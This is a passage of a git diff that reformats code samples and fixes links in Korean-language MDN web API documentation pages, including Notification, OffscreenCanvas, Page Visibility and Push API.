@@ -12,7 +12,7 @@ slug: Web/API/NodeList/length
 ## 구문
 
 ```js
-numItems =nodeList.length
+numItems = nodeList.length;
 ```
 
 - `numItems`은 `NodeList`의 항목수를 나타내는 정수값입니다.
diff --git a/files/ko/web/api/nodelist/values/index.md b/files/ko/web/api/nodelist/values/index.md
index df2ec65a796325..73c1bd89c0b869 100644
--- a/files/ko/web/api/nodelist/values/index.md
+++ b/files/ko/web/api/nodelist/values/index.md
@@ -32,7 +32,7 @@ node.appendChild(kid3);
 var list = node.childNodes;
 
 // Using for..of
-for(var value of list.values()) {
+for (var value of list.values()) {
   console.log(value);
 }
 ```
diff --git a/files/ko/web/api/notification/index.md b/files/ko/web/api/notification/index.md
index c7b7d9b007fefe..7f62cf5cf00f2f 100644
--- a/files/ko/web/api/notification/index.md
+++ b/files/ko/web/api/notification/index.md
@@ -125,7 +125,7 @@ function notifyMe() {
   }
 
   // Otherwise, we need to ask the user for permission
-  else if (Notification.permission !== 'denied') {
+  else if (Notification.permission !== "denied") {
     Notification.requestPermission(function (permission) {
       // If the user accepts, let's create a notification
       if (permission === "granted") {
@@ -144,7 +144,7 @@ function notifyMe() {
 많은 경우에 이렇게 장황할 필요는 없습니다. 예를 들어 [Emogotchi 데모](http://mdn.github.io/emogotchi/)([소스코드](https://github.com/mdn/emogotchi))에서는 단순히 알림을 보내기 위해서 권한을 얻을 수 있는지와 상관없이 {{domxref("Notification.requestPermission")}}를 실행합니다(이 경우는 새로운 프로미스 기반 메서드 문법을 사용):
 
 ```js
-Notification.requestPermission().then(function(result) {
+Notification.requestPermission().then(function (result) {
   console.log(result);
 });
 ```
@@ -152,12 +152,12 @@ Notification.requestPermission().then(function(result) {
 그 다음에 알림이 필요한 때에 단순히 `spawnNotification()` 함수를 실행합니다. 본문과 아이콘, 제목을 인자로 넘기면 필요한 `options` 객체를 만들고 {{domxref("Notification.Notification","Notification()")}} 생성자를 사용해서 알림을 발생시킵니다.
 
 ```js
-function spawnNotification(theBody,theIcon,theTitle) {
+function spawnNotification(theBody, theIcon, theTitle) {
   var options = {
-      body: theBody,
-      icon: theIcon
-  }
-  var n = new Notification(theTitle,options);
+    body: theBody,
+    icon: theIcon,
+  };
+  var n = new Notification(theTitle, options);
 }
 ```
 
diff --git a/files/ko/web/api/notifications_api/index.md b/files/ko/web/api/notifications_api/index.md
index e14ec33cf4e056..87691e60caf73e 100644
--- a/files/ko/web/api/notifications_api/index.md
+++ b/files/ko/web/api/notifications_api/index.md
@@ -2,6 +2,7 @@
 title: Notifications API
 slug: Web/API/Notifications_API
 ---
+
 {{DefaultAPISidebar("Web Notifications")}}
 
 Notifications API 는 웹 페이지가 일반 사용자에게 시스템 알림 표시를 제어할 수 있게 해줍니다. 이러한 알람은 최상단 브라우징 컨텍스트 뷰포트의 바깥에 위치하므로 사용자가 탭을 변경하거나 다른 앱으로 이동했을때에도 표시할 수 있습니다. 이 API 는 다양한 플랫폼에 존재하는 알림 시스템과 호환되도록 디자인되었습니다.
diff --git a/files/ko/web/api/notifications_api/using_the_notifications_api/index.md b/files/ko/web/api/notifications_api/using_the_notifications_api/index.md
index 20b41815971856..ce2174e233eca3 100644
--- a/files/ko/web/api/notifications_api/using_the_notifications_api/index.md
+++ b/files/ko/web/api/notifications_api/using_the_notifications_api/index.md
@@ -44,7 +44,7 @@ original_slug: WebAPI/Using_Web_Notifications
 아직 알림 표시 권한이 허용되지 않았다면 애플리케이션은 {{domxref("Notification.requestPermission()")}} 메서드를 사용하여 사용자에게 권한을 요청할 필요가 있습니다. 간단하게는 아래와 같이 넣습니다.
 
 ```js
-Notification.requestPermission().then(function(result) {
+Notification.requestPermission().then(function (result) {
   console.log(result);
 });
 ```
@@ -72,29 +72,31 @@ function askNotificationPermission() {
   // 권한을 실제로 요구하는 함수
   function handlePermission(permission) {
     // 사용자의 응답에 관계 없이 크롬이 정보를 저장할 수 있도록 함
-    if(!('permission' in Notification)) {
+    if (!("permission" in Notification)) {
       Notification.permission = permission;
     }
 
     // 사용자 응답에 따라 단추를 보이거나 숨기도록 설정
-    if(Notification.permission === 'denied' || Notification.permission === 'default') {
-      notificationBtn.style.display = 'block';
+    if (
+      Notification.permission === "denied" ||
+      Notification.permission === "default"
+    ) {
+      notificationBtn.style.display = "block";
     } else {
-      notificationBtn.style.display = 'none';
+      notificationBtn.style.display = "none";
     }
   }
 
   // 브라우저가 알림을 지원하는지 확인
-  if (!('Notification' in window)) {
+  if (!("Notification" in window)) {
     console.log("이 브라우저는 알림을 지원하지 않습니다.");
   } else {
-    if(checkNotificationPromise()) {
-      Notification.requestPermission()
-      .then((permission) => {
+    if (checkNotificationPromise()) {
+      Notification.requestPermission().then((permission) => {
         handlePermission(permission);
-      })
+      });
     } else {
-      Notification.requestPermission(function(permission) {
+      Notification.requestPermission(function (permission) {
         handlePermission(permission);
       });
     }
@@ -114,14 +116,14 @@ function askNotificationPermission() {
 
 ```js
 function checkNotificationPromise() {
-    try {
-      Notification.requestPermission().then();
-    } catch(e) {
-      return false;
-    }
-
-    return true;
+  try {
+    Notification.requestPermission().then();
+  } catch (e) {
+    return false;
   }
+
+  return true;
+}
 ```
 
 기본적으로 `requestPermission()`에 `.then()` 메서드가 있는지 알아보는 것입니다. 맞다면 계속 진행하고 `true`를 반환합니다. 실패라면 `catch() {}` 블록에서 `false`를 반환합니다.
@@ -133,9 +135,9 @@ function checkNotificationPromise() {
 예를 들어 할일 목록 예시에서 아래 코드로 필요시 알림을 만듭니다(`createNotification()` 함수에서 찾을 수 있음).
 
 ```js
-var img = '/to-do-notifications/img/icon-128.png';
+var img = "/to-do-notifications/img/icon-128.png";
 var text = '아! "' + title + '" 작업 기한이 만료됐습니다.';
-var notification = new Notification('할 일 목록', { body: text, icon: img });
+var notification = new Notification("할 일 목록", { body: text, icon: img });
 ```
 
 ## 알림 닫기
@@ -180,7 +182,7 @@ setTimeout(notification.close.bind(notification), 4000);
 다수의 알림을 아래 방법으로 처리할 수 있습니다.
 
 ```js
-window.addEventListener('load', function () {
+window.addEventListener("load", function () {
   // 처음에는 알림 권한이 있는지 확인함
   // 없으면 권한 요구
   if (Notification && Notification.permission !== "granted") {
@@ -191,9 +193,9 @@ window.addEventListener('load', function () {
     });
   }
 
-  var button = document.getElementsByTagName('button')[0];
+  var button = document.getElementsByTagName("button")[0];
 
-  button.addEventListener('click', function () {
+  button.addEventListener("click", function () {
     // 사용자가 알림을 받는 데 동의한 경우
     // 알림 10개를 보내본다
     if (Notification && Notification.permission === "granted") {
@@ -201,7 +203,7 @@ window.addEventListener('load', function () {
       // 어떤 브라우저(파이어폭스 등)는 일정 시간 동안 알림이 너무 많은 경우 차단하기 때문에 인터벌 사용.
       var interval = window.setInterval(function () {
         // 태그 덕분에 "안녕! 9" 알림만 보여야 함
-        var n = new Notification("안녕! " + i, {tag: '알림너무많음'});
+        var n = new Notification("안녕! " + i, { tag: "알림너무많음" });
         if (i++ == 9) {
           window.clearInterval(interval);
         }
@@ -219,7 +221,7 @@ window.addEventListener('load', function () {
           // 어떤 브라우저(파이어폭스 등)는 일정 시간 동안 알림이 너무 많은 경우 차단하기 때문에 인터벌 사용.
           var interval = window.setInterval(function () {
             // 태그 덕분에 "안녕! 9" 알림만 보여야 함
-            var n = new Notification("안녕! " + i, {tag: '알림너무많음'});
+            var n = new Notification("안녕! " + i, { tag: "알림너무많음" });
             if (i++ == 9) {
               window.clearInterval(interval);
             }
diff --git a/files/ko/web/api/offlineaudiocontext/index.md b/files/ko/web/api/offlineaudiocontext/index.md
index cb3a44c44c7697..4dbcb418d7f442 100644
--- a/files/ko/web/api/offlineaudiocontext/index.md
+++ b/files/ko/web/api/offlineaudiocontext/index.md
@@ -2,6 +2,7 @@
 title: OfflineAudioContext
 slug: Web/API/OfflineAudioContext
 ---
+
 {{APIRef("Web Audio API")}}
 
 `OfflineAudioContext` 인터페이스는 함께 연결된 {{domxref("AudioNode")}}들로부터 만들어진 오디오 프로세싱 그래프를 나타내는 {{domxref("AudioContext")}} 인터페이스입니다. 표준 {{domxref("AudioContext")}}와는 대조적으로, `OfflineAudioContext`는 오디오를 장치 하드웨어로 렌더링하지 않습니다; 대신, 이것은 가능한 한 빨리 오디오를 생성하고, 그 결과를 {{domxref("AudioBuffer")}}에 출력합니다.
@@ -43,11 +44,11 @@ _또한 부모 인터페이스인 {{domxref("BaseAudioContext")}}로부터 메
 
 ## 이벤트
 
-[`addEventListener()`](/en-US/docs/Web/API/EventTarget/addEventListener)를 사용하거나 이벤트 수신기를 이 인터페이스의 `oneventname` 속성에 부여함으로써 이 이벤트들을 수신하세요.
+[`addEventListener()`](/ko/docs/Web/API/EventTarget/addEventListener)를 사용하거나 이벤트 수신기를 이 인터페이스의 `oneventname` 속성에 부여함으로써 이 이벤트들을 수신하세요.
 
-- [`complete`](/en-US/docs/Web/API/OfflineAudioContext/complete_event)
+- [`complete`](/ko/docs/Web/API/OfflineAudioContext/complete_event)
   - : 오프라인 오디오 컨텍스트의 렌더링이 완료되었을 때 발생됩니다.
-    또한 [`oncomplete`](/en-US/docs/Web/API/OfflineAudioContext/oncomplete) 이벤트 처리기 속성을 사용하여 이용 가능합니다.
+    또한 [`oncomplete`](/ko/docs/Web/API/OfflineAudioContext/oncomplete) 이벤트 처리기 속성을 사용하여 이용 가능합니다.
 
 ## 예제
 
@@ -63,7 +64,7 @@ _또한 부모 인터페이스인 {{domxref("BaseAudioContext")}}로부터 메
 // 온라인과 오프라인 오디오 컨텍스트를 정의합니다
 
 var audioCtx = new AudioContext();
-var offlineCtx = new OfflineAudioContext(2,44100*40,44100);
+var offlineCtx = new OfflineAudioContext(2, 44100 * 40, 44100);
 
 source = offlineCtx.createBufferSource();
 
@@ -73,35 +74,38 @@ source = offlineCtx.createBufferSource();
 function getData() {
   request = new XMLHttpRequest();
 
-  request.open('GET', 'viper.ogg', true);
+  request.open("GET", "viper.ogg", true);
 
-  request.responseType = 'arraybuffer';
+  request.responseType = "arraybuffer";
 
-  request.onload = function() {
+  request.onload = function () {
     var audioData = request.response;
 
-    audioCtx.decodeAudioData(audioData, function(buffer) {
+    audioCtx.decodeAudioData(audioData, function (buffer) {
       myBuffer = buffer;
       source.buffer = myBuffer;
       source.connect(offlineCtx.destination);
       source.start();
       //source.loop = true;
-      offlineCtx.startRendering().then(function(renderedBuffer) {
-        console.log('Rendering completed successfully');
-        var song = audioCtx.createBufferSource();
-        song.buffer = renderedBuffer;
-
-        song.connect(audioCtx.destination);
-
-        play.onclick = function() {
-          song.start();
-        }
-      }).catch(function(err) {
-          console.log('Rendering failed: ' + err);
+      offlineCtx
+        .startRendering()
+        .then(function (renderedBuffer) {
+          console.log("Rendering completed successfully");
+          var song = audioCtx.createBufferSource();
+          song.buffer = renderedBuffer;
+
+          song.connect(audioCtx.destination);
+
+          play.onclick = function () {
+            song.start();
+          };
+        })
+        .catch(function (err) {
+          console.log("Rendering failed: " + err);
           // 참고: 이 프로미스는 OfflineAudioContext에서 startRendering이 두 번째로 호출되었을 때 거부되어야만 합니다
-      });
+        });
     });
-  }
+  };
 
   request.send();
 }
diff --git a/files/ko/web/api/offscreencanvas/getcontext/index.md b/files/ko/web/api/offscreencanvas/getcontext/index.md
index 34bb97d4c895a6..b65a148cc78309 100644
--- a/files/ko/web/api/offscreencanvas/getcontext/index.md
+++ b/files/ko/web/api/offscreencanvas/getcontext/index.md
@@ -2,6 +2,7 @@
 title: OffscreenCanvas.getContext()
 slug: Web/API/OffscreenCanvas/getContext
 ---
+
 {{APIRef("Canvas API")}} {{SeeCompatTable}}
 
 **`OffscreenCanvas.getContext()`** 메소드는 offscreen 캔버스를 위한 드로잉 컨텍스트 반환합니다. 컨텍스트 식별자가 지원되는 상황이 아닐 경우 {{jsxref("null")}}를 반환합니다.
@@ -17,24 +18,25 @@ offscreen.getContext(contextType, contextAttributes);
 ### 매개 변수
 
 - `contextType`
+
   - : 캔버스의 드로잉 컨텍스트를 정의하는 컨텍스트 식별자가 포함된 {{domxref("DOMString")}}입니다:\* **`"2d"`** 는 2차원 렌더링 컨텍스트를 표현하는 {{domxref("CanvasRenderingContext2D")}} 객체를 생성합니다.
+
     - **`"webgl"`** 는 3차원 렌더링 컨텍스트를 표현하는 {{domxref("WebGLRenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 [WebGL](/ko/docs/Web/WebGL) 버전 1(OpenGL ES 2.0)을 지원하는 브라우저에서만 사용 가능합니다.
     - **`"webgl2"`** 는 3차원 렌더링 컨텍스트를 표현하는 {{domxref("WebGL2RenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 [WebGL](/ko/docs/Web/WebGL) 버전 2 (OpenGL ES 3.0)를 지원하는 브라우저에서만 사용 가능합니다. {{experimental_inline}}
     - **`"bitmaprenderer"`** 는 주어진 {{domxref("ImageBitmap")}}을 캔버스의 내용 대신 전환하는 함수를 제공하는 {{domxref("ImageBitmapRenderingContext")}}를 생성합니다
 
-    > **참고:** `"experimental-webgl"`**과 **`"experimental-webgl2"`** 식별자는 WebGL에서도 사용됩니다.
+    > **참고:** `"experimental-webgl"`**과 **`"experimental-webgl2"`\*\* 식별자는 WebGL에서도 사용됩니다.
     >
     > 그러나 아직 테스트 적합성을 통과하지 못했거나 플랫폼별 그래픽 드라이버 지원이 안정적이진 않습니다.
     > [Khronos Group](https://www.khronos.org/)은 특정한 [정합성 규칙](https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt)에 WebGL 구현을 인증하고 있습니다.
+
 - `contextAttributes`
 
   - : You can use several context attributes when creating your rendering context, for
     example:
 
     ```js
-    offscreen.getContext("webgl",
-                     { antialias: false,
-                       depth: false });
+    offscreen.getContext("webgl", { antialias: false, depth: false });
     ```
 
     2d context attributes:
diff --git a/files/ko/web/api/offscreencanvas/index.md b/files/ko/web/api/offscreencanvas/index.md
index c204ee844f6afc..083c4e69dbdf6e 100644
--- a/files/ko/web/api/offscreencanvas/index.md
+++ b/files/ko/web/api/offscreencanvas/index.md
@@ -22,9 +22,11 @@ slug: Web/API/OffscreenCanvas
 ## 메소드
 
 - {{domxref("OffscreenCanvas.getContext()")}}
+
   - : 렌더링된 캔버스 컨텍스트 객체를 반환합니다.
 
 - {{domxref("OffscreenCanvas.convertToBlob()")}}
+
   - : 캔버스에 들어있는 이미지에 대한 {{domxref("Blob")}} 객체를 생성합니다.
 
 - {{domxref("OffscreenCanvas.transferToImageBitmap()")}}
@@ -41,8 +43,7 @@ slug: Web/API/OffscreenCanvas
 아래에 두 개의 {{HTMLElement("canvas")}} 요소가 있습니다.
 
 ```html
-<canvas id="one"></canvas>
-<canvas id="two"></canvas>
+<canvas id="one"></canvas> <canvas id="two"></canvas>
 ```
 
 다음의 코드는 위에서 설명한 것처럼 `OffscreenCanvas`를 이용해 렌더링합니다.
@@ -52,7 +53,7 @@ var one = document.getElementById("one").getContext("bitmaprenderer");
 var two = document.getElementById("two").getContext("bitmaprenderer");
 
 var offscreen = new OffscreenCanvas(256, 256);
-var gl = offscreen.getContext('webgl');
+var gl = offscreen.getContext("webgl");
 
 // ... gl 컨텍스트를 이용해 첫 번째 캔버스에 무언가를 그립니다 ...
 
@@ -78,13 +79,13 @@ var htmlCanvas = document.getElementById("canvas");
 var offscreen = htmlCanvas.transferControlToOffscreen();
 
 var worker = new Worker("offscreencanvas.js");
-worker.postMessage({canvas: offscreen}, [offscreen]);
+worker.postMessage({ canvas: offscreen }, [offscreen]);
 ```
 
 offscreencanvas.js (worker 코드):
 
 ```js
-onmessage = function(evt) {
+onmessage = function (evt) {
   var canvas = evt.data.canvas;
   var gl = canvas.getContext("webgl");
 
@@ -95,7 +96,7 @@ onmessage = function(evt) {
 worker 내에서 requestAnimationFrame 또한 사용할 수 있습니다.
 
 ```js
-onmessage = function(evt) {
+onmessage = function (evt) {
   const canvas = evt.data.canvas;
   const gl = canvas.getContext("webgl");
 
diff --git a/files/ko/web/api/offscreencanvas/offscreencanvas/index.md b/files/ko/web/api/offscreencanvas/offscreencanvas/index.md
index 8b22ae92accb89..84a6d3e311378c 100644
--- a/files/ko/web/api/offscreencanvas/offscreencanvas/index.md
+++ b/files/ko/web/api/offscreencanvas/offscreencanvas/index.md
@@ -26,7 +26,7 @@ new OffscreenCanvas(width, height);
 
 ```js
 let offscreen = new OffscreenCanvas(256, 256);
-let gl = offscreen.getContext('webgl');
+let gl = offscreen.getContext("webgl");
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/offscreencanvas/width/index.md b/files/ko/web/api/offscreencanvas/width/index.md
index 1a96c295c88de9..785dafb3d5dd72 100644
--- a/files/ko/web/api/offscreencanvas/width/index.md
+++ b/files/ko/web/api/offscreencanvas/width/index.md
@@ -2,6 +2,7 @@
 title: OffscreenCanvas.width
 slug: Web/API/OffscreenCanvas/width
 ---
+
 {{APIRef("Canvas API")}} {{SeeCompatTable}}
 
 **`width`** 프로퍼티는 {{domxref("OffscreenCanvas")}} 객체에 할당된 너비를 반환합니다.
diff --git a/files/ko/web/api/page_visibility_api/index.md b/files/ko/web/api/page_visibility_api/index.md
index bb6eaeb6390b9e..4a0899aa5955b2 100644
--- a/files/ko/web/api/page_visibility_api/index.md
+++ b/files/ko/web/api/page_visibility_api/index.md
@@ -2,6 +2,7 @@
 title: Page Visibility API
 slug: Web/API/Page_Visibility_API
 ---
+
 {{DefaultAPISidebar("Page Visibility API")}}
 
 **Page Visibility API**는 웹페이지가 visible 또는 focus 상태인지 당신이 알도록 한다. 탭 브라우징 사용시에, background 에 어떤 웹페이지가 존재하면서 유저에게 보이지 않을 가능성이 있다. 사용자가 웹페이지를 최소화하거나 다른 탭으로 이동했을 때, 이 API 는 페이지의 visibility 를 관찰하는 {{event("visibilitychange")}} 이벤트를 전달한다. 당신은 이벤트를 감지할 수 있고, 어떠한 action 을 수행하거나 다르게 반응할 수 있다. 예를 들어, 당신의 웹 앱이 video 를 재생한다면, 사용자가 다른 브라우저를 보고 있을 때 video 를 pause 하고, 탭으로 돌아왔을 때 다시 재생할 수 있다. 사용자는 video 에서 자신의 위치를 잃지 않고 계속 시청할 수 있다.
@@ -28,7 +29,8 @@ Visibility states of an {{HTMLElement("iframe")}} 의 visibility 상태는 부
 ```js
 // Set the name of the hidden property and the change event for visibility
 var hidden, visibilityChange;
-if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
+if (typeof document.hidden !== "undefined") {
+  // Opera 12.10 and Firefox 18 and later support
   hidden = "hidden";
   visibilityChange = "visibilitychange";
 } else if (typeof document.msHidden !== "undefined") {
@@ -52,23 +54,35 @@ function handleVisibilityChange() {
 }
 
 // Warn if the browser doesn't support addEventListener or the Page Visibility API
-if (typeof document.addEventListener === "undefined" || typeof document[hidden] === "undefined") {
-  console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
+if (
+  typeof document.addEventListener === "undefined" ||
+  typeof document[hidden] === "undefined"
+) {
+  console.log(
+    "This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.",
+  );
 } else {
   // Handle page visibility change
   document.addEventListener(visibilityChange, handleVisibilityChange, false);
 
   // When the video pauses, set the title.
   // This shows the paused
-  videoElement.addEventListener("pause", function(){
-    document.title = 'Paused';
-  }, false);
+  videoElement.addEventListener(
+    "pause",
+    function () {
+      document.title = "Paused";
+    },
+    false,
+  );
 
   // When the video plays, set the title.
-  videoElement.addEventListener("play", function(){
-    document.title = 'Playing';
-  }, false);
-
+  videoElement.addEventListener(
+    "play",
+    function () {
+      document.title = "Playing";
+    },
+    false,
+  );
 }
 ```
 
@@ -92,7 +106,7 @@ if (typeof document.addEventListener === "undefined" || typeof document[hidden]
 function handleVisibilityChange() {
   if (document.hidden) {
     pauseSimulation();
-  } else  {
+  } else {
     startSimulation();
   }
 }
diff --git a/files/ko/web/api/performance/now/index.md b/files/ko/web/api/performance/now/index.md
index 680839d12e44ae..16e2ebf38ea763 100644
--- a/files/ko/web/api/performance/now/index.md
+++ b/files/ko/web/api/performance/now/index.md
@@ -50,7 +50,6 @@ performance.now();
 // 8782206
 // ...
 
-
 // reduced time precision with `privacy.resistFingerprinting` enabled
 performance.now();
 // 8865400
diff --git a/files/ko/web/api/performance_api/navigation_timing/index.md b/files/ko/web/api/performance_api/navigation_timing/index.md
index f6b49c5c5d621b..40f5dd39768e99 100644
--- a/files/ko/web/api/performance_api/navigation_timing/index.md
+++ b/files/ko/web/api/performance_api/navigation_timing/index.md
@@ -10,9 +10,9 @@ original_slug: Web/API/Navigation_timing_API
 
 ```js
 function onLoad() {
-    var now = new Date().getTime();
-    var page_load_time = now - performance.timing.navigationStart;
-    console.log("User-perceived page loading time: " + page_load_time);
+  var now = new Date().getTime();
+  var page_load_time = now - performance.timing.navigationStart;
+  console.log("User-perceived page loading time: " + page_load_time);
 }
 ```
 
diff --git a/files/ko/web/api/performanceentry/index.md b/files/ko/web/api/performanceentry/index.md
index 9c50d20da2fba4..9e3f2a6d2f10a4 100644
--- a/files/ko/web/api/performanceentry/index.md
+++ b/files/ko/web/api/performanceentry/index.md
@@ -2,6 +2,7 @@
 title: PerformanceEntry
 slug: Web/API/PerformanceEntry
 ---
+
 {{APIRef("Performance Timeline API")}}
 
 **`PerformanceEntry`** 객체는 _performance timeline_ 상의 단일 성능 수치를 캡슐화 합니다. *performance entry*는 응용프로그램의 특정 지점에서 performance *{{domxref("PerformanceMark","mark")}}*나 *{{domxref("PerformanceMeasure","measure")}}*를 생성함으로써 (예를 들면 {{domxref("Performance.mark","mark()")}}를 호출하는 방법으로) 직접적으로 만들어질 수 있습니다. 또는 (이미지와 같은) 리소스를 로딩하는 등의 간접적인 방법으로 생성되기도 합니다.
@@ -41,18 +42,15 @@ The following example checks all `PerformanceEntry` properties to see if the bro
 function print_PerformanceEntries() {
   // Use getEntries() to get a list of all performance entries
   var p = performance.getEntries();
-  for (var i=0; i < p.length; i++) {
+  for (var i = 0; i < p.length; i++) {
     console.log("PerformanceEntry[" + i + "]");
     print_PerformanceEntry(p[i]);
   }
 }
 function print_PerformanceEntry(perfEntry) {
-  var properties = ["name",
-                    "entryType",
-                    "startTime",
-                    "duration"];
+  var properties = ["name", "entryType", "startTime", "duration"];
 
-  for (var i=0; i < properties.length; i++) {
+  for (var i = 0; i < properties.length; i++) {
     // Check each property
     var supported = properties[i] in perfEntry;
     if (supported) {
diff --git a/files/ko/web/api/periodicwave/periodicwave/index.md b/files/ko/web/api/periodicwave/periodicwave/index.md
index 2879d52544de9b..27c62bc521cef5 100644
--- a/files/ko/web/api/periodicwave/periodicwave/index.md
+++ b/files/ko/web/api/periodicwave/periodicwave/index.md
@@ -41,10 +41,10 @@ real[1] = 1;
 imag[1] = 0;
 
 var options = {
-  real : real,
-  imag : imag,
-  disableNormalization : false
-}
+  real: real,
+  imag: imag,
+  disableNormalization: false,
+};
 
 var wave = new PeriodicWave(ac, options);
 ```
diff --git a/files/ko/web/api/plugin/index.md b/files/ko/web/api/plugin/index.md
index 8cf7de2b2a0012..3c56d21c883857 100644
--- a/files/ko/web/api/plugin/index.md
+++ b/files/ko/web/api/plugin/index.md
@@ -2,6 +2,7 @@
 title: Plugin
 slug: Web/API/Plugin
 ---
+
 {{ApiRef("HTML DOM")}}
 
 플러그 인 인터페이스는 브라우저 플러그 인에 대한 정보를 제공합니다.
@@ -10,11 +11,11 @@ slug: Web/API/Plugin
 
 ## 특성
 
-| 이름                                         | 설명                                                    | Return Type                      | 유용성                           |
-| -------------------------------------------- | ------------------------------------------------------- | -------------------------------- | -------------------------------- |
+| 이름                              | 설명                                                    | Return Type              | 유용성                           |
+| --------------------------------- | ------------------------------------------------------- | ------------------------ | -------------------------------- |
 | {{domxref("Plugin.description")}} | 플러그 인에 대한 읽기 쉬운 설명입니다. 읽기 전용입니다. | {{domxref("DOMString")}} | DOM 0                            |
-| {{domxref("Plugin.filename")}}     | 플러그 인 파일의 파일 이름. 읽기 전용입니다.            | {{domxref("DOMString")}} | DOM 0                            |
-| {{domxref("Plugin.name")}}         | 플러그 인의 이름. 읽기 전용입니다.                      | {{domxref("DOMString")}} | DOM 0                            |
+| {{domxref("Plugin.filename")}}    | 플러그 인 파일의 파일 이름. 읽기 전용입니다.            | {{domxref("DOMString")}} | DOM 0                            |
+| {{domxref("Plugin.name")}}        | 플러그 인의 이름. 읽기 전용입니다.                      | {{domxref("DOMString")}} | DOM 0                            |
 | {{domxref("Plugin.version")}}     | 플러그 인의 버전 번호 문자열. 읽기 전용입니다.          | {{domxref("DOMString")}} | Gecko browsers only (Firefox 4+) |
 
 ## 방법
diff --git a/files/ko/web/api/push_api/index.md b/files/ko/web/api/push_api/index.md
index 6933e06515d058..4009023067da06 100644
--- a/files/ko/web/api/push_api/index.md
+++ b/files/ko/web/api/push_api/index.md
@@ -2,6 +2,7 @@
 title: Push API
 slug: Web/API/Push_API
 ---
+
 {{DefaultAPISidebar("Push API")}}
 
 **Push API**는 웹 애플리케이션이 현재 로딩이 되어 있지 않더라도 서버로부터 메시지를 받을 수 있도록 하는 기능이다. 이는 개발자들이 비동기적으로 사용자에게 새로운 내용을 시기적절하게 전달할 수 있도록 만들어 준다.
@@ -64,7 +65,7 @@ Mozilla's [ServiceWorker Cookbook](https://github.com/mdn/serviceworker-cookbook
 
 ## See also
 
-- [Sending VAPID identified WebPush Notifications via Mozilla’s Push Service](https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/)
+- [Sending VAPID identified WebPush Notifications via Mozilla's Push Service](https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/)
 - [Web Push Notifications: Timely, Relevant, and Precise](https://developers.google.com/web/fundamentals/engage-and-retain/push-notifications/), Joseph Medley
 - [Service Worker API](/ko/docs/Web/API/Service_Worker_API)
 
diff --git a/files/ko/web/api/pushmanager/index.md b/files/ko/web/api/pushmanager/index.md
index 5575b3cd11ca2f..f52f04305a4756 100644
--- a/files/ko/web/api/pushmanager/index.md
+++ b/files/ko/web/api/pushmanager/index.md
@@ -37,27 +37,29 @@ slug: Web/API/PushManager
 ## 예제
 
 ```js
-this.onpush = function(event) {
+this.onpush = function (event) {
   console.log(event.data);
   // From here we can write the data to IndexedDB, send it to any open
   // windows, display a notification, etc.
-}
+};
 
-navigator.serviceWorker.register('serviceworker.js').then(
-  function(serviceWorkerRegistration) {
+navigator.serviceWorker
+  .register("serviceworker.js")
+  .then(function (serviceWorkerRegistration) {
     serviceWorkerRegistration.pushManager.subscribe().then(
-      function(pushSubscription) {
+      function (pushSubscription) {
         console.log(pushSubscription.endpoint);
         // The push subscription details needed by the application
         // server are now available, and can be sent to it using,
         // for example, an XMLHttpRequest.
-      }, function(error) {
+      },
+      function (error) {
         // During development it often helps to log errors to the
         // console. In a production environment it might make sense to
         // also report information about errors back to the
         // application server.
         console.log(error);
-      }
+      },
     );
   });
 ```
diff --git a/files/ko/web/api/pushmessagedata/index.md b/files/ko/web/api/pushmessagedata/index.md
index 95ef9c6c5f75a1..9aefd078ecdeba 100644
--- a/files/ko/web/api/pushmessagedata/index.md
+++ b/files/ko/web/api/pushmessagedata/index.md
@@ -29,13 +29,13 @@ None.
 ## Examples
 
 ```js
-self.addEventListener('push', function(event) {
+self.addEventListener("push", function (event) {
   var obj = event.data.json();
 
-  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+  if (obj.action === "subscribe" || obj.action === "unsubscribe") {
     fireNotification(obj, event);
     port.postMessage(obj);
-  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+  } else if (obj.action === "init" || obj.action === "chatMsg") {
     port.postMessage(obj);
   }
 });
diff --git a/files/ko/web/api/queuemicrotask/index.md b/files/ko/web/api/queuemicrotask/index.md
index 9722cb24653d2f..1e7992792c40ea 100644
--- a/files/ko/web/api/queuemicrotask/index.md
+++ b/files/ko/web/api/queuemicrotask/index.md
@@ -2,6 +2,7 @@
 title: queueMicrotask()
 slug: Web/API/queueMicrotask
 ---
+
 {{APIRef("HTML DOM")}}
 
 {{domxref("Window")}} 또는 {{domxref("Worker")}} 인터페이스의 **`queueMicrotask()`** 메서드는 브라우저의 이벤트 루프로 통제권이 넘어가기 전, 안전한 시점에 실행할 마이크로태스크를 큐에 추가합니다.
@@ -34,7 +35,7 @@ queueMicrotask(function);
 ```js
 queueMicrotask(() => {
   // 함수 내용
-})
+});
 ```
 
 다음은 [queueMicrotask 명세](https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#microtask-queuing)에서 가져온 예제 코드입니다.
@@ -47,11 +48,13 @@ MyElement.prototype.loadData = function (url) {
       this.dispatchEvent(new Event("load"));
     });
   } else {
-    fetch(url).then(res => res.arrayBuffer()).then(data => {
-      this._cache[url] = data;
-      this._setData(data);
-      this.dispatchEvent(new Event("load"));
-    });
+    fetch(url)
+      .then((res) => res.arrayBuffer())
+      .then((data) => {
+        this._cache[url] = data;
+        this._setData(data);
+        this.dispatchEvent(new Event("load"));
+      });
   }
 };
 ```
diff --git a/files/ko/web/api/range/index.md b/files/ko/web/api/range/index.md
index fadef137edcc5f..d014444860ffd4 100644
--- a/files/ko/web/api/range/index.md
+++ b/files/ko/web/api/range/index.md
@@ -2,6 +2,7 @@
 title: range
 slug: Web/API/Range
 ---
+
 {{ APIRef("DOM") }}
 
 **`Range`** 객체는 주어진 document 내의 텍스트 노드들의 부분들(parts)과 document의 단편화에 포함된 노드들을 나타내고 있다.
diff --git a/files/ko/web/api/readablestream/index.md b/files/ko/web/api/readablestream/index.md
index 0602c6b6ae1be2..899274b24b95b9 100644
--- a/files/ko/web/api/readablestream/index.md
+++ b/files/ko/web/api/readablestream/index.md
